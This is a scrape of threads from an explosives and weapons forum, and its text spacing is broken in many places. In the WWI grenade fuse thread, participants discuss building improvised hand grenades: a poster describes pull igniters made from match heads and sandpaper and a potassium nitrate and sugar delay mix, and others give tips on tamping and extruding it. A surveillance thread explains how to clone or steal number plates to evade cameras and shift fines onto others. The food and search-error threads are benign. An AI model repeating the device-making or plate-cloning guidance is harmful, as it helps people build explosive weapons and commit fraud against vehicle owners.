It's in Tools, Techniques, and Plans if you want to check it out. Took m e a few ho urs to type up. It is about 10 pages, proba bly
7 with all the link crap taken out. If you want, you can reply to som e things, put some info in.
I find it funny that I used 2x4s. I had a bunch lying around and thought: These could be handy...

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Fuses in ww1 grenades
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Jacob Kell March 18th, 2006, 08:55 PM

For som e tim e now I am trying to find inform a t i o n a b o u t fuse mixtures in old grenades from ww1 like kugels and egg
grenades, and so far I haven't found anything, I search e d t h i s f o r u m a l s o a n d d e c i d e d t o a s k h e r e . D o e s a n y o n e k n o w w h a t
fuse s were used?

The only fuze I know was used is aniseed balls, used for the tim e delay fuses for hull lim pet m i n e s a n d t h e l i k e , a s a n i s e e d is
the only thing they could find that would disolve at the same rate in both salt and fresh water.
As for hand grenades, I don't know.
Dimortal March 19th, 2006, 12:04 PM

Quite a few of the earlier (allied) W W 1 g r e n a d e s h a d i m pact fuses,
This website mentions a fulm inate detonator being used in the head of one type: http://www.worldwar1.com /sfusdg.htm
Bert March 19th, 2006, 03:14 PM

AFAIK, the delay elem ent of the firing train would be of basic black powder type. No reason for gassless m ixture or anything
fancy here-

Aniseed balls? Sniffer dogs would have an interesting tim e! Imagining trying to in filtrate som ewhere with anise-containing
m ines in you r backpa ck, with som e canines aro und.
festergrump March 19th, 2006, 03:56 PM

Maybe he wa s a s k i n g a b o u t t h e m ixtures within the entire "fuze" and not just the delay "fuse". I'm with Bert on this one as it
m ost likely was a BP train for delay, and the det was m ore than likely m ercury fulm i n a t e . n o ? J u s t a g u e s s o n m y part, though.
Vagueness leads to speculation... If you'd told us where you looked and what you searched for we'd know more about how to
give the answers you seek...

Thank you for your replies. Actually early hand grenades (eggs and kugels) had a low explosive (blackpowder) for their main
charge, so detonators were not used. I was asking specifically about "fuse" mixtures, what ratios they used and how were
m anufactured.
festergrump March 19th, 2006, 07:10 PM

Apologies, Jacob. I know very little about the explosives used in W WI, however, if BP was the main charge and seeing the
picture below of a German Kugel from W W I era ... I would still believe it to be m erely a tightly com pressed BP delay train. (No
reason to get all fancy with the fuse if the charge is simply BP, e h? But Bert already said that earlier).
If you're inte rested in the pull-wire igniter portion, forge t searching the for this on the web and look into strike anywhere
m atches... Just m y 2 cents. Six to one is half a d o z e n t o a n o t h e r.
http://i50.ph o t o b u c k e t . c o m / a l b u m s / f 3 4 8 / f e s t e r g r u m p / n o v k u g d . j p g

If BP train was used, I wander what kind of it, what was added? The simp le cannon fuse consisted of cardboard tube with tightly
packed BP, in the open space it can function as delay, but since it com busts insta ntly in enclosed space it couldn't h a v e b e e n
used inside grenade fuze.
M o d e r n g r e n a d e s h a v e z i r c o n i u m b a s e d sm okeless trains, but ww1 and ww2 grenades had vented sm o k i n g f u s e s , a n d i t ' s
strange I can't find in f o r m a t i o n o n t h e s e . I g u e s s o l d f u s e s c o u l d b e e a s i l y i m provised.
And, festergrump, where I live there are no strike anywhere m a t c h e s , b u t I m a d e m any quite reliable impact and pull igniters
u s i n g s a f e t y m a t c h h e a d s a n d s a n d p a p e r . I t ' s i m p o r t a n t to ensure that striking paper doesn't contact m atchheads directly, but
only when yo u pull it outwards, when you make pull igniter. I am into constructing volkshandgranate types right low.

Jaco b, fill out the country part of your profile, it doesn't give m uch away, but it will give us all a big lead in helping you find
things.
Most places still sell strike anywhere m atches, try asking for them specifically.
I s h o u l d i m a g i n e a n y o f t h e m any "slo wer" BPs would do for the train, tig htly packed to give a consistent burn tim e . T h e n a
fast burning type for the m ain charge.

I live in Croa tia. I also can't find "flowers of sulphur", so I made sulphurless BP with lime-tree charcoal that burned really slo w.
However, I never tried pressing it in the tube for delay, as I was under im pression that confining it even inside the open tube
would trem endously increase the burn rate. I tried it with kno3/sugar 60/40 m ix and it worked well. I guess even be tter would
be to cast it into alum inum tube or epoxy the solid stick inside, but I have yet to figure out how to cast so thick melted mass
into a sm all pipe. And I wander if pressure of e x i t i n g g a s e s e x e r t s e n o u g h f o r c e o n b u r n i n g t r a i n t o k e e p i t c o m p r e s s e d a n d
nondisturbed when you throw the grenade? If that's correct, I won't bother making a solid delay.

You can probably find sulphur at the chem ist/pharmacist in small amounts. Also try the DIY/plant shops, and ask about how to
cure the aphid problem you've got. They sell sulphur candles designed to deal with that problem . However, for the fuse, you
want a slow burn rate. Try your slow m i x c o m p r e s s e d a n d see what happens. You might find it is still too slow.
You can extrude your sticky m ixture into a tube fairly easily with a syringe.
defiant April 11th, 2006, 02:22 PM

Try searching for "gre nade" on the US Patent website, a nd then reviewing those p atents filed during the W W I e r a .
++++++++++
That'd only pull up grenades by class, as pre-70's patents aren't text-searchable.
NBK

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Tritonal
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Mariana March 20th, 2006, 12:43 PM

Hi,
I would like some technical inform ation (like Velocity an d Heat o f explosion, Fragm entatio n, Fragm ent velocity, Chem ical
compatibility,Water resistance, Storage life, Force, Pressure...)
Can someone help m e?
nbk2000 March 27th, 2006, 09:46 PM

God helps those who help them selves.
D i d y o u d o a G o o g l e s e a r c h , o r u s e t h e s e a r c h e n g i n e h ere?
simply RED April 1st, 2006, 09:09 AM

Mariana, you m issed: sensitivity, m inim u m a m m ount prim er for innitiation, toxicity, environmental degradation chain,
temperature stability with exotherm (of course), graphic of pressure (y) from distance (x) - and m any other param eters.
How is it possibe (for me) to answer a question that does not cover the subject well?
NOW SER IO USLY!

D o n o t a s k q u e s t i o n s t h a t h a v e b e e n a n s w e r e d dozen times - even in alt.engr.ex plosives !
nbk2000 April 1st, 2006, 09:52 PM

Good reply, Red.
Yes, a poorly form ed query will result in erroneous returns.
GIGO = Garb a g e I n , G a r b a g e O u t .
Even if we did spoonfeed you the answers to your question, what would you do with them? Would you understand what they
m ean? And what purpose would it serve unless you have TNT and the other components to make Tritonal with?

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Best Food Ever!
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Alexires March 23rd, 2006, 09:21 AM

Well, I decided to be completely random. I just have to ask, what do you guys think is the best food?
Personally, right now, I think the greatest tasting thing ever (I was shocked) is bread with butter, honey and peanut butter. Then again, a nice schnitzel with gravy is always
nice.
Anyway, what do you think is an awesome food. Yeah, yeah, yeah, we all know pizza is the best, but besides that....
explosive_boy March 23rd, 2006, 02:46 PM

I love to eat BBQ ribs from a nice resturant. Im getting hungry now. :D
Hirudinea March 24th, 2006, 10:10 PM

The still beating heart of your enemy! Either that or a good piece of Tandoori Chicken.

LOL. Nice one. I suggest you curry it first, though.
My local curry house is brilliant, and there is an all-you-can-eat Chinese that rocks, too.

Damn, forgot about that. Curry is pretty damn good, especially that Thai Green Curry. I'm a fan of chicken really. BBQ chicken pizza is awesome, chicken soup, anything with
chicken is awesome. Bacon isnt too bad either.....
My Kung Fu master is also a cook, so if you ever find yourself at the training hall at lunch, and you help Sifu prepare food, you get fed, and damn does he make nice food.
Sushi is always nice, as well as Miso Soup. I have no idea why it is so good, but Miso soup is awesome. If I'm depressed, miso soup alw ays does the trick....
Damn those japanese! Ive worked it out. They impregnate tofu with a gene that makes it synthesis prozac!!! You bastards! :p
Kamisama April 1st, 2006, 04:15 PM

Tofu. :D and spirutein. I'm pretty sure someone could live off those two things for a very long time.
Oldamn April 1st, 2006, 06:52 PM

Best ordinary food is maybe a good steak. If we are talking about fast-food, then my favourite is some big meal from Burger King. :)
festergrump April 1st, 2006, 07:06 PM

Steak and potatos or peppersteak are my favorites. Nothing beats a grill or open fire to cook with, either. (Tin foil wrapped on an engine block during long trips works in a pinch
when you've no time to cook, ask me how I know ).
For an occasional desert (not too big on sw eets, though) I prefer a bowl of generic mint-chocolate chip ice cream either softened and spread into an Oreo pie crust or covered in
a bow l with w hole milk (like a bowl of breakfast cereal)... Makes the milk all crunchy! YUM!
nbk2000 April 1st, 2006, 10:14 PM

A hot pastrami on rye sandwich, with swiss chess and spicy mustard, and cold dill pickle chips. Drool! :)
shooter3 April 3rd, 2006, 08:28 AM

Boiled Maine lobster/w melted butter and steamed clams/w butter, free from the sea!
Down Under April 3rd, 2006, 12:07 PM

2" thick beef fillet steak served ' blue ', w ith garlic butter and fresh field mushrooms
meselfs April 3rd, 2006, 06:48 PM

Basmati rice + Elk meat.
East meets west, the result is food from heaven.
Alexires April 6th, 2006, 01:51 PM

...Its only hot enough when it burns going in and burns coming out. Chilli paste stuff goes with almost everything. Rice, with cubed spam kind of fried and chilli paste. You can
only taste burning, but I bet burning never tasted so good.
Sick idea for future RogueSci get togethers (next to the "hottest nitrating mix of nitroglycerine" stand and the "rabbit tag" (you w anna hope that rabbit with C4 strapped to its
back runs AWAY from you)) is the "Annual RogueSci Cook Fest" stand (that lovely braised steak with KNO3 and sugar)

Ah food. The way to everyman's heart may not be through his stomach, but at least it w orks with me.
After a long absence of w ork and work and growing up(not there yet), I find that anything I cook with my own hands to be about as good as its going to get. I enjoy fried rice
though, and can make a mean glazed ham.
I daresay I eat more americanized chinese food then anything else though. Long live Seseme chicken. Or, at least Full Plate Always.
CRAB April 11th, 2006, 09:52 PM

I've really been digging Pesto lately. The stuff is delicious.
knowledgehungry April 12th, 2006, 10:38 AM

Stromboli w ith pepperoni, green peppers, onions, mozzarella cheese, sphagetti sauce and sausage. (I know that was specific, but complete ingredient lists are important for this
forum, in case anyone wants to experiment for themselves :D )
Bert April 12th, 2006, 01:38 PM

Barque's root beer and Haagen Daaz coffee ice cream root beer float.
Omnius02 May 1st, 2006, 08:49 AM

The best food I ve ever eaten was at yum c ha (I think thats how its s pell). Its one of thos e Chines e restaurants where they bring around fresh dishes usually steam ed in bamboo
baskets.
All of it is fantastic but there is one that steps over all the others making them look like processed shit which has been rotting for a few w eeks, fresh duck egg custard tarts, the
rich and creamy custard melts in your mouth whiles you feel the crisp pastry break apart.
There are m any of these restaurants around but nothing comes close to the one Im talking about, this 2 story giant must have the best chefs in Australia.
Another good food that my friends and I love is fresh chocolate croissants from the bakery between 1 and 4am, when we have nothing better to do than wait w hilst stoned or drunk
watching the odd c ar drive past, it is the most relieving feeling when you take your first bite into their soft steaming bread with molten chocolate, it makes me feel that I m in heaven.
Typing this has made m e the hungriest Ive been in a while, I m going to go make instant noodles! :D Always good when hunger strikes.
Slinger May 2nd, 2006, 10:43 PM

Buffalo Hump (American Bison), for me.
Cooked over hot coals on a spit, w ith no added seasonings or salt. You know how the thick strip of fat on a well-done steak tastes? Imagine about ten pounds of that, dripping
hot grease...
You simply slice hunks off, and devour.
Maniak May 3rd, 2006, 02:55 PM

My best - roasted sirloin beef with cream sauce and dumplings (European - old and good:) ), all homemade by my mum;) But...right explosion-lover's or pyrochemist's food
should be some beans, peas or lentils, thought...
corrosive May 3rd, 2006, 04:19 PM

The best food ever has to be 2 fatty hamburgers and corn on the cob with that "I cant believe its not butter"....that usually does the trick for me.
festergrump May 3rd, 2006, 04:42 PM

You know how the thick strip of fat on a w ell-done steak tastes? (SNIP)...You simply slice hunks off, and devour.
LOL! I've heard of rendering fat before, as in tallow candles, but eating it? You kind of caught me by surprise there.
You like your w omen "fat, humpy, and dripping grease", too? :p (Ah, I'm just kiddin' ya! Buffalo STEAKS are aw esome, now. I'll save all my fat trimmings for you, though!). ;)
Slinger May 3rd, 2006, 07:40 PM

festergrump,
Actually, my wife is... oh, nevermind :D
To be truthful, any edible portion of a buffalo is delicious. I should have just said "buffalo", and covered the entire animal. :)
Chris The Great May 3rd, 2006, 08:03 PM

I love the fat as well... it soaks up a lot of the flavour and spices, is soft and tender, and also has a good deal of tasty grease!
But I don't like my women like I like my food. However, if I can eat them that's fine :p
My favourite foods... hmm, pizza since it is good anytime with nearly anything on it, peanut butter, BBQ'd ribs (any kind of animal w ill do), chili, pancakes, bacon (especially
with eggs fried in the bacon grease!), jerky (esp. homemade stuff), Miss Vickie's brand potato chips, chicken chow-mein (chinese noodles), roast lamb... hmmm.... I like a lot
of foods.
Oh right, and roast sheeple. The ignorance just gives it that irresitable flavouring!
:D

Thats really w eird isnt it? When something so simple as some meat cooked over hot coals tastes absolutely awesome.
Seriously, after being at an all night lan for 7-8 hours (about 2am) nothing better than yiros. Hell, that stuff is good.
I gotta say, anything that makes it burn coming in and burn going out is good. Also, wasabi is ace. Gotta love da pain!
That how I like women. Hot, sizzling....dripping.....uh.....green? Right, I'm gonna leave that right there.
How about the weirdest combination of food that you've had (its gotta taste good)?
Pear and cheese. Or apple and cheese. Thats just fucking strange I think, but it tastes pretty good.
Zach730 May 7th, 2006, 08:25 PM

I have to agree with about everyone here. But the best tasting thing is meat from your own kill.
Try deer jerky or any other animal and be amazed. Oh, and you have to kill it first, thats the secret to spice.
MetalHead May 22nd, 2006, 05:30 PM

Any kind of game meat, cooked in lots of red wine and garlic. My favourite would have to be a juicy Kangaroo steak, seasoned with fresh cracked black pepper and thyme.
Try putting a pinch of chilli pow der in a cup of hot chocolate. It's one of those weird combinations that works.
Zajcek June 28th, 2006, 08:24 PM

I like spicy, hot Mexican food ;)
But what I like the most is the pizza with nacho cheese,hot chili(a lot of them),spicy salami,corn and some other stuff I can't remember right now.
Since you mentioned chili pow der in a cup of hot chocolate, my girlfriend's uncle owns a pub where they serve (in winter) hot chocolate with chili (among other 40 different
types). I tried that chili mix once and it was the w eirdest thing I have ever tasted! :)
Sausagemit July 2nd, 2006, 04:25 AM

One of my favorite foods is a mexinese (mexican and chinese) special. I have no idea how I came up w ith this mix but it's freakin delicious.
First make some egg fried rice, then take a tortilla and cover it in shredded cheese, then put your tortilla in the toaster oven for a while untill all the cheese gets nice and
melted. Put your rice on, some nice hot green chili (tastes the best if you make your ow n out of fresh roasted anahiem pepers and fresh roasted jalapenoes rather then from a
can). Fold it up like a burrito and devour.
And cougar stew is interesting because it tastes like no stew I have ever had before because cougar is one of those meats that tastes like a mixture of about 4 meats.
FU TI July 3rd, 2006, 08:01 AM

This is kind a OT and Zajcek has "precipitate" this info in a way. I eat almost anything (one or two vegetables are on the dislike list allthough but...) so I w on't state my favorite
meal as it is "mood modulated". Anyw ay I have read somew here that some Russian factory that makes specially designed sweets has made a new product - box of candies,
btw candy is bullet shaped (why do you think I post this on this forum ;)). Name of the product is something like Russian rullet...(I can't possibly know is it name of that game
is the same in English - kind of hazard game where you you place one bullet inside revolver and place your skull in a harms way ). Joke is...there a 12 candies, 11 have various
ussual fruity, sweet taste, but 12th candy has some kind of pepper or chilli paprika taste
sdjsdj July 3rd, 2006, 08:40 AM
Heh (http://www .firebox.com/index.html?dir= firebox&action=product&pid=604&src_t=cat&src_id=edible). . .
Looks like . . .
Uh . . .
. . . fun?

The best food... well all the post sound great, but I wont eat nothing but wild meats that I hunt and butcher my self & fresh food grown in my garden; (Grizzly & Black bears,
Cougars, Moose, Elk, Deer, turkey, pheasants, ducks etc) while all these taste great cooked over the nice hot coals of a camp fire, nothing I mean nothing compares to a B.C/
Alberta freshly killed rack of ribs from a Mt.Goat that you have just field dressed and cooked where you shot and killed it. Bring along some freshly grow n green beans, peas,
carrots and some potatoes and you have one hell of a good meal to feast on after the hunt! The meat this fresh just falls off the bones and melts in your mouth. The only
things I bring from a super store are some lip tons gravy (damn good stuff) , Salt and pepper (the 3 store bought items are only used on the smashed taters) no need to ruin
such good meat with stuff like that.
Once you have tasted wild meat, (Not grain fed animals raised for the average person) you will never go back to that so called steak, ribs, roast you buy in a super market.
They taste inferior to w ild game that feeds on natural foods.
c.Tech July 5th, 2006, 05:36 AM

Try putting a pinch of chilli pow der in a cup of hot chocolate. It's one of those weird combinations that works.
mmmm... :) not bad Im drinking it as I type now .
My favorite foods are Mexican, Chinese (especially steamed, delicate dishes), Indian and Italian.
I have an excellent Indian recipe from a book called a taste of India by Madhur Jaffrey, I have made a spicy leg tw ice before, once for my family and once w hen I was aw ay
with a couple of friends in a cottage far from the city.
I will put the recipe in a quote for anybody who w ants to try it, (copied w ord for word from the book).
Its best to have the correct ingredients but if some cant be found it should turn out all right without a couple, or so it did for me. If you cant find w hole ingredients just use
already ground ones.
RASHIDS COOK, NASEEM, MAKES

LUCKNOWS WHOLE LEG OF LAMB
Lucknavi Raan
Many of the meats in North India are tenderized w ith green papaya before they are cooked. This gives them a soft and uniquely Indian texture. In my effort to try and get the
same texture, I discovered than an all natural meat tenderizer found in US supermarkets contains papain from the papaya fruit. It contains salt as well, which w orks quite well
for this recipe as the meat is supposed to be rubbed with both green papaya and salt at the same time.
If you happen to have a papaya tree and want to use its fruit for this recipe, pick a small 3-4in/7.5-10cm long, unripe, hard green fruit and use about half of it, skin and all,
ground up first in a blender or food processor.
Rather like a pot roast, this leg may be served w ith rice, potatoes and vegetables, or with Flaky Oven Bread, vegetables and relishes.
Serves 4-6
5 lb/2.3 kg leg of lamb w ith the H-bone removed or 5 lb/2.3 kg from the slimmer half of a very large 8-9 lb/3.6-4 kg leg of lamb
2 tsp/10 ml meat tenderizer mixed with 4 tbs/60 ml/1/4 cup plain yoghurt
2 tbs/30 ml w hole cumin seeds
2 tbs/30 ml w hole white poppy seeds or blanched, silver almonds
1 oz/25 g/3 tablespoons chickpea flour (gram flour/besan)
1 whole nutmeg, lightly crushed
2 in/5 cm cinnamon stick, broken up
9 whole cardamom pods
1 tbs/15 ml black peppercorns
1 tsp/7.5 ml whole cloves
1 tsp/7.5 ml whole mace
4-5 whole, large black cardamom pods (omit if unavailable)
5-6 whole dried hot red chillies (use more or less, as desired)
pint/450 ml/2 cups plain yoghurt
1 tbs/15 ml bright red paprika
good pint/good 150 ml/good 2/3 cup vegetable oil
8 oz/255 g, 2 large onions, peeled, halved lengthw ise and cut into very fine half rings
Trim off all the outside fat from the leg and cut or pull off the parchment like fell that covers some of it. Cut many deep gashes in the meat about in/1 cm apart with the
point of a sharp knife, and then push the meat tenderizer-yogurt mixture deep into these gashes. Cover the leg with the same mixture and set aside for 30 minutes to 1 hour.
Meanw hile, put the cumin seeds into a small, cast iron frying pan over a medium flame. Stir and roast the seeds until they are a shade darker and give off a lovely, roasted
aroma. Put the seeds into the container of a clean coffee grinder or other spice grinder and grind as finely as possible. Empty into a large bowl.
Put the poppy seeds into the same frying pan and roast in the same way as the cumin seeds. Grind and put with the ground cumin seeds.
Put the chickpea flour into the same frying pan. Stir and roast over a medium-low flame until pale brown in colour. Put w ith the ground seeds.
Now put the nutmeg, cinnamon, cardamom pods, black peppercorns, cloves, mace, large black cardamom pods and red chillies into the coffee grinder or other spice grinder.
Grind as finely as possible. Empty into the bow l with the other seasonings. Add the yoghurt and the paprika to the spices as well and mix. Rest the leg of lamb in the bowl and
stuff as much of the spice mixture as is possible into the gashes. Cover the leg with the remaining spice mixture and set aside, covered, for 3-4 hours.
Heat the oil in a heavy based pan (that is large enough to hold the meat) over a medium flame. When hot, put in the onions. Stir fry until brown. Then put in the leg and all the
spice mixture. Let the leg brown lightly on one side. Then turn it over using tw o kitchen spoons and brow n the second side. The sauce w ill stick to the bottom of the pan. There
is no avoiding this. Patiently scrape it off with a spatula and keep frying. When the oil separates from the spices and the leg is lightly browned, add 12 fl oz/350 ml/1 cups of
water and bring to a simmer. Scrape loose whatever is stuck to the bottom of the pan and mix it in. cover tightly and cook for about 50 minutes, turning the leg over a few
times during this cooking period.
The meat should be quite tender by now. Remove the cover and, over the next 10-15 minutes, boil away enough of the liquid to leave you with a thick sauce.
When you get ready to serve, lift the leg out of the sauce and place it in the centre of a platter. Spoon the sauce over the meat, leaving all of the oil behind.
Enjoy. :D
minty July 5th, 2006, 09:58 AM

My favorite food.... I have a lot, but nobody can resist a big mac from McDonalds.
Jack2k2 July 6th, 2006, 03:19 AM

Yeh, I am eating a Big Mac while w atching Supersize Me. ;)
As for my favorite foods, I as well like Mexican, Italian, and Chinese. There is this awesome restaurant in my town, Chinese Gardens, their Sweet and Sour Pork is amazing,
along with the Almond Chicken, Egg Rolls, Fried Rice, and Red Pork.
One of the oddest things though, is that they have one of the greatest Cheeseburgers I have ever tasted. I actually get one everytime I go there with my family, and then eat
some Chinese food. ( I really get stuffed w hen going there.)
As for my Italian foods, I am Italian, and my grandparents are amazing cooks. Nothing can beat Fugasa bread and their amazing Raviolis (Of course they are spinach and meat
filled, not that nasty cheese filling.)
Here is the recipe for fugasa, it is one of the simplest to make, but it is very addictive.
Grab from your supermarket those frozen dough loafs, take one and let it sit out to defrost. Once it has, roll it out into a rectangular pan, the type used for brow nies etc, the size
isn't that important, so long as you can fit the fugasa in it. Cover this with a cloth tow el, and just slightly warm the oven and let it sit in there for 30 minutes to rise. (Check to
make sure it isn't cooking while rising.) After this period, it should have risen to about an inch tall. Now take some olive oil and rub it over the bread, and generously salt it. Now
put it in the oven at 375 degrees F. Take it out every 5 minutes or so and put more olive oil on it and re-salt it. Stop baking it once it is golden brown. If you made it correctly,
it should be a salty crunchy outside w ith a soft but not doughy inside.
I really suggest you try this, it is an aw esome food.

I have recently stumbled upon really good w ay of cooking mushrooms. While this isn t m y favorite dish its still delicious.
My favorite mushroom dish.

Take a green cardamom pod and crush the seeds. Add them to a small pot. I stress small because it could be hard getting the butter out at the end.
Take a small slice of onion, some fresh chilli, clove of garlic and dice these up. Add them to the pot. Remember not to over do these.
Now add some thyme, freshly ground pepper and a pinch of salt. Slice about 1cm off a regular block of butter and add this to the pot.
Heat these and cook the flavors from all the herbs, spices and other ingredients into the butter.
Now take a large w hite mushroom (the ones with the grey gills but not those little small shitty ones you can buy too) and poke holes in the top of the mushroom w ith a skewer
or similar device.
Put this into a steamer (gills side up), add the butter on top, removing the bulk of the herbs onion garlic etc.
Steam until cooked (about 5-10 minutes)
Now add the same sized slice of butter to a frying pan. Heat until melted then put the mushroom on and fry for about 5 minutes or until almost cooked turning a few times during this
process. I pres s the mushroom so it looses its exces s w ater and juic es, I dont actually know what it would taste like if I didnt do this, but Im thinking the same.
In the final time of its cooking turn your shroom, gills side up and put cheese on top, cook until melted and serve.
Im sure there are probably better combinations of herbs and spices one could use but these seem to be my favorites.
________________
BTW: I ve found that adding a splash of Tabasco sauce to a hot chocolate gives more flavor than simple chilli powder.
billybobjoe July 10th, 2006, 03:32 PM

My favorite food would probably be a thick rib eye steak, grilled with lots of butter, and smothered in hp and home m ade barbeque sauces. Twice baked potato on the side (it s baked,
then scooped out and mixed with sour cream, chives, cheese, and bacon, then put back in and baked till crispy.) Also a generous helping of pepper corns onto of my steak. For
dessert a piece of chocolate pound cake smothered in the 38% cream with raspberry jam on it. Yum.
DarkSupreme July 10th, 2006, 10:46 PM

The best food is probably the one, that you have when you are hungry.
Anira July 13th, 2006, 03:01 AM

Best food? Well technicaly I w ould say rice.. but...
My favorite.. by far it would be avacado.
Avacado on toast (with some lemon pepper on top)

Avacado in a sandwitch with hummus, letice, onion and some lemon pepper
Chips and guacamole ...mm..
Burrito with guacamole.
California rolls (sushi rolls with avacado, carrot and, red bellpeper)
Enchalada casserole w ith guacamole on top.
ShadowMyGeekSpace July 13th, 2006, 01:30 PM

General Tso's Chicken.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Britian m onitoring EVERY car
m ovement!
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View Full Version : Britian monitoring EVERY car movement!
me234 March 24th, 2006, 01:52 AM

Most of you here will know me for my somewha t l o n g - w i n d e d n e s s , b u t t h i s b a s i c a l l y m a k e s m e s p e e c h l e s s :
http://p076.ezboard.com /flibertyquestandfreedomboardfrm 1.showMessage?topic ID=1145.topic
Oh boy, who feels safer now?
I for one am glad that people in Britain will now not be able to m ove ANY frigginWHERE without being watched, it m a k e s m e f e e l
m uch better to know that watching a car drive a round will be able to com pletely eradicate 100% of all "terrorist" acts in that
country.
"Oh look, watch out p eople, he farted in his own car! TERR O R I S T , p u t h i m o n a p l a n e t o G u a n t a n a m o Bay!"
MO THERF... :mad:

*shudders* thats messed up dude. Really, thats absolutely fucked up. Next they will have license plates on push bikes so
criminals can t com m it crim e s a n d e s c a p e o n b i k e s .
But then aga in.....
L e t s s a y y o u h a p p e n d t o b e a n a s p i r i n g c r i m i n a l a n d h a d a crim e t o c o m m it. But dam n, those cam eras are watching all the
n u m ber plates.....Steal one. With thou s a n d s u p o n t h o u s a n d s o f n u m b e r p l a t e s b e i n g r e c o r d e d e a c h d a y , i t w o u l d b e a l i t t l e
h a r d t o k e e p to call u p one im m e d i a t e ly. Sim ply too m uch data.
Or, so they are watching num b e r p l a t e s a u t o m atically, hence, no num ber plate, no record. Escape the scene of said crime with
a covered nu mber plate, or something that obscures it for a few suburbs, then un cover the plate, and you alm o s t h a v e a l e g i t
alibi....
M a y b e I ' m just talking out of m y a s s .
quicksilver March 24th, 2006, 11:44 AM

Just a passing thought but has anyone ever thought this just m ight be com plete rubbish? The best way to convince a child to
b e h a v e i s h a ving him believe that the teacher is just ou tside the door listening.
The article speaks of a future plan; no t im plimented as of the writing of the piece. This is lost in the intensity of the scale and
it's im plications to the com m o n m an.
There is no way that such a th ing could be used other than to track after the fact, engagin g the target auto after an initial
contact has been achieved. Other than that, m il-sat observation has been with us for over a decade. "They" can watch
automobiles quite well and ha v e f o r s o m e m a n y years now. - No thing new, except m ore toys at tax-payer expense at the local
level.
Britan, Austrialia, New Zealand, & the US all have been holding hands for a long time sharing sat time for a whole lot of things
but to think they would spend mil-sat tim e watching Rodger-Ram bo pinch DVD's from the local sho p is stretching it a bit.

It's about control and m o n e y . I n s t e a d o f t a x i n g u s b y f i a t o n t h e p o s s e s s i o n o f t h e c a r , t h e y h a v e d e c i d e d t o c h a r g e b y u s a g e .
The massive increase in costs to the productive m e m b e rs of society will further screw up the country, while the criminals will
continue to work unheeded and unwatched by sim ply cloning a n umberplate. Yes, it is now illegal to own a kit for m a k i n g
n u m berplates in the UK without a license, but when people are building and buying guns without trouble, a large Letraset kit
isn't going to be hard to find!
Sim ply drive around until you see a car that m atches the one you want to steal/target/use . Write d own the num ber. Do this five
tim es and get the plates made up under the counter. Carry on as usual, knowing that the speeding fines will go to som e o n e
else. Even better, fak e an ID for the real owner, or learn his nam e a n d a d d r e s s o f f t h e t o p o f y o u r h e a d , a n d y o u a r e a w a y
free every time!
The other wa y to get "fake" plates is to sim ply take them off the target car wth a screwdriver... how often do you check your
rear numberplate before driving to the shop?
W hat gets m e the m ost is tha t this will *pay* the governm e n t t o b r e a k t h e r o a d s e v e n m ore. I will have to pay an extra 2
b e c a u s e s o m eone crashed, or they dug up the road again, and I got snagged up in it! Hardly fair or fare...
ressurection joe June 28th, 2006, 05:37 PM

I saw a new's program about that a few days ago.
They have already got one city under survellance and are about to link it up with another one.
S o m ewhere near Coventry or that kind of area, but cant remem ber.
TreverSlyFox June 28th, 2006, 08:20 PM

Now, here is the rest of the story. Notice the date of the report is 22 December 2005.
I d o n ' t r e m e m ber where I saw the post, m ight have been here, frugal's or assaultweb in the past month. The post included a
link to a web page that had pictures of what the Brits are doing to those cam e r a s . M u s t h a v e b e e n 3 p a g e s o f p i c t u r e s o f
b u r n e d u p a n d t r a s h e d c a m eras. Som e are pictures of the replacement cam eras that were put up and destroyed again. I know
one of the lo cations shows the cam era destroyed for the THIR D tim e .
This isn't just happen ing in just one town either it's happening all over England, so the Brits aren't just taking this lying down.
Sure would like to see this happening in the U .S.A. but m ost of our population is still playing dum b.
hypergolic reaction June 28th, 2006, 10:28 PM
W hy wouldn't a criminal just leave the area in a stolen vehicle and then change vehicles or swap plates to lead the cops off on
wild goose chase?
nbk2000 June 29th, 2006, 12:47 AM

Trevor, it wouldn't happen to be this site, would it?
http://www.speedcam.co.uk/gatso2.htm
defiant June 30th, 2006, 04:45 AM

Alex Jones is pretty u p o n t h e g a m bit of big brother technology and developm ents:
http://www.prisonplan et.com /archive_big_brother.html
Jacks Complete July 4th, 200 6, 03:17 PM

T h o s e s p e e d cam pag es are brilliant!
I hate the ca meras everywhere. The gangs of kids all wear hood ies to avoid recognition of them via camera after th e fact, and
they all do som ething, then go off and swap tops aroun d the corner. The cameras have no legitimate purpose. They utterly fail
to prevent crime, they just help with the clean-up after the fact a bit.
And the governm ent wonder why things get more violent, and not less? If you have 3 m inutes to carry out the entire crim e a n d
get away, rather than 20 minutes, are you goin g to care a whole lot that they are nervous, or are trying to talk them selves o ut
of it? Yes, you are, rather m ore than b efore. So you sim ply start shooting people and taking their wallets, rather than asking
them nicely with veiled threats. Far less risk, in spite of being a far greater crim e for the sam e result.
Terror is the sam e. Because it is im possible to beat the target arm y in a fair fight, all those who play relatively fair, trying to
use an AK and a Koran against a trained squad with M16s and layers of kevlar an d steel, radios and air, tank and a rtillery
b a c k - u p , a r e a l l d e a d . This leaves those who would choose not to fight (but that's a hard choice once half your mates are
d e a d ) o r t o g o t o b i g - a s s b o m bs to ha v e s o m e effect, albeit mo re random ly.
The end result of treading on "little people" is m odern terrorism. W hether it is an occupying arm y or a socialist governm ent,
the end result will be the same - escalation by those be ing monitored.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > U nusual search error
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Chris The Great March 25th, 2006, 04:20 AM

I tried searching for HMX and R DX, neither turned up any results. It just said "no results found". I was also able to research
im m ediatly afterwards without the usual delay.
A se arch for octogen turned up numerous threads, with m any instances of HMX and RDX b eing use d.
And unusual error, not annoying since I still found what I was looking for, but very very strange.
Other errors that give no results but I found by searching for different terms when I was curious as to what was going on:
C4, C -4, AP
It alm o s t s e e m s deliberate to m e, like the boa rd software writers don't want people to be able to search for certain things.
It certainly throws a chink into the "utfse" replies, since the search engine might NOT answer their question.
FUTI March 25th, 2006, 06:38 AM

I think I read som etim es ago that Mega or was it NBK said that search engine gives answer only to above three letter
searches. O therwise you could try typing som ething stupid like "the" or "and"...and get a shi*load of hits that m e a n n o t h i n g
just waste se rver tim e (at least I figured it out thats what they are talking about). I never tried it but if som eone type "AN*" in
effort to search for AN based m ixtures...will search engine reject it also? If anyone heard about C4 in movies and want to m a k e
